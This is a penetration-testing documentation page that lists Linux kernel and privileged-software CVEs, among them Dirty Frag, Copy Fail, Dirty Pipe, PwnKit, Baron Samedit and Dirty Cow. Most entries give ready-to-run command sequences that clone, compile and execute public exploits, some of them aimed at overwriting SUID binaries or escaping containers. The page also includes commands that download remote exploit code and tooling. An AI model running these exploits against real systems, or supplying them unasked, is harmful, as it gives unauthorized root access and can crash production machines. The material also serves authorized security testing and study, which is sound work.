> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Linux Kernel & Software CVE Exploits

Unlike the misconfiguration techniques on the [Privilege Escalation](https://0-x.dev/linux/privilege-escalation) page, everything here only works against a specific, unpatched version of the kernel or a piece of privileged software. Confirm the version first, every exploit below is wasted effort against a patched system, and a kernel exploit misfiring can crash the box outright.

**1. Get the exact kernel and distro version**

```bash theme={null}
uname -a
cat /etc/os-release
```

**2. Check it against a known list of exploits before trying anything by hand**

```bash theme={null}
# Method 1, linux-exploit-suggester.sh
# https://github.com/The-Z-Labs/linux-exploit-suggester
./linux-exploit-suggester.sh

# Method 2, linpeas.sh
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
```

**3. Compile on a matching system when possible**

Compiling directly on the target is simplest and guarantees ABI compatibility, if that's not possible, matching the target's glibc/kernel headers version elsewhere (a Docker container pinned to the same distro release works well) avoids exploits that compile fine but crash on the mismatch.

> [!WARNING]
>
> Every exploit on this page can panic or hang the kernel if the version match isn't exact or the target is patched. Confirm scope and have a way to recover (snapshot, support contact, reboot access) before running any of these outside a disposable lab.

***

## Dirty Frag (CVE-2026-43284, CVE-2026-43500)

Two separate bugs, one in the xfrm-ESP (IPsec) subsystem and one in RxRPC, that both let an unprivileged user corrupt the page cache the same way. Chained together, they let an attacker overwrite the on-disk content of a cached file, including a cached SUID binary, bypassing normal file permission checks entirely. All current Ubuntu releases were confirmed affected, a public PoC was released within days of disclosure.

```bash theme={null}
git clone https://github.com/v4bel/dirtyfrag
cd dirtyfrag
make
./dirtyfrag
```

[Writeup](https://www.govinfosecurity.com/dirty-frag-gives-root-on-linux-distros-a-31641)

***

## "Copy Fail" (CVE-2026-31431)

A logic flaw in the kernel's `algif_aead` crypto module (the `AF_ALG` AEAD path), present since a 2017 optimization that let source and destination scatter-gather lists share memory pages. Chaining it with `splice()` gives an unprivileged user a controlled 4-byte write into a file's page-cache backing, overwriting a cached SUID binary like `/usr/bin/su` gets arbitrary code executed as root on its next run. Works as a container escape too, since the page cache is shared with the host kernel. Affects kernels through 6.18.21, fixed in 6.18.22/6.19.12/7.0.

```bash theme={null}
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
cd copy-fail-CVE-2026-31431
python3 exploit.py
```

***

## nf\_tables Catch-All Use-After-Free (CVE-2026-23111)

Caused by a single inverted character in a conditional check inside `nf_tables`, the upstream fix was a one-line change. Triggerable by any unprivileged user when `nf_tables` is enabled and unprivileged user namespaces are available, both the default on most current distros. Public exploits followed disclosure within weeks, confirmed working against Debian Bookworm/Trixie, Ubuntu 22.04/24.04 LTS, and RHEL 10.

```bash theme={null}
# patched upstream Feb 2026; public PoCs from Exodus Intelligence (Jun 2026) and FuzzingLabs (Apr 2026)
# confirm nf_tables + unprivileged userns are enabled before attempting
sysctl kernel.unprivileged_userns_clone
```

[Technical writeup](https://thehackernews.com/2026/06/one-character-linux-kernel-flaw-enables.html)

***

## nf\_tables Anonymous Set Use-After-Free (CVE-2023-32233)

A use-after-free in `nf_tables` anonymous sets, temporary workspaces that are supposed to be cleared after use but, due to a reference-counting bug, can still be accessed and manipulated afterward. Affects kernels up to 6.3.1.

```bash theme={null}
git clone https://github.com/Liuk3r/CVE-2023-32233
cd CVE-2023-32233
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
./exploit
```

***

## CVE-2022-25636 (netfilter nf\_dup\_netdev)

A heap out-of-bounds write in `net/netfilter/nf_dup_netdev.c`, affecting kernels 5.4 through 5.6.10. [Nick Gregory's write-up](https://nickgregory.me/post/2022/03/12/cve-2022-25636/) covers the discovery in detail.

```bash theme={null}
git clone https://github.com/Bonfee/CVE-2022-25636.git
cd CVE-2022-25636
make
./exploit
```

***

## Dirty Pipe (CVE-2022-0847)

Conceptually similar to Dirty Cow but newer and more reliable, a flaw in the Linux pipe implementation lets a user with only read access to a file overwrite its contents anyway, including files owned by root. Affects kernels 5.8 through 5.17.

```bash theme={null}
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh

./exploit-1                           # variant 1
find / -perm -4000 2>/dev/null        # variant 2: run against any discovered SUID binary
./exploit-2 /usr/bin/sudo
```

***

## PwnKit / Polkit (CVE-2021-4034)

A memory corruption bug in `pkexec` (part of Polkit), present for over a decade before being disclosed and patched in January 2022. Works out of the box on most unpatched distros, `pkexec` is installed and SUID by default almost everywhere.

```bash theme={null}
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc
./poc
```

***

## CVE-2021-22555 (netfilter)

A heap out-of-bounds write in the netfilter subsystem, affecting kernels 2.6 through 5.11.

```bash theme={null}
wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
gcc -m32 -static exploit.c -o exploit
./exploit
```

***

## Sudo Heap Overflow / Baron Samedit (CVE-2021-3156)

A heap-based buffer overflow in `sudo` itself, triggered without needing any sudo rule at all, just local shell access. Affects sudo 1.8.31 (Ubuntu 20.04), 1.8.27 (Debian 10), and 1.9.2 (Fedora 33), among others.

```bash theme={null}
sudo -V                                # confirm the version first
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target-id>
```

> [!TIP]
>
> Build errors from a glibc/gcc version mismatch are common when compiling off-target, running the build inside a matching Ubuntu 20.04 container sidesteps most of them. A [Python implementation](https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py) is also available if the C version won't compile at all.

***

## Dirty Cow (CVE-2016-5195)

One of the most well-known Linux kernel privilege escalation bugs, a race condition in how the kernel's memory subsystem handles copy-on-write, lets a user overwrite memory mapped as read-only. Affects essentially every kernel from 2007 until the October 2016 patch.

```bash theme={null}
gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit
./kernel_exploit
```

[Proof-of-concept collection](https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs)

***

## Screen 4.5.0 (GNU)

An older but still occasionally encountered privilege escalation in `screen` version 4.05.00.

```bash theme={null}
./screen_exploit.sh
```

[Exploit-DB entry](https://www.exploit-db.com/exploits/41154) · [Alternative PoC](https://github.com/YasserREED/screen-v4.5.0-priv-escalate)

***

## Quick Reference Tools

> **[linux-exploit-suggester](https://github.com/The-Z-Labs/linux-exploit-suggester)**
>
> Matches the running kernel against known exploits automatically, always run this before searching manually.

> **[Linux Privilege Escalation](https://0-x.dev/linux/linux-privilege-escalation.md)**
>
> Misconfiguration-based techniques that don't depend on a specific vulnerable version.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.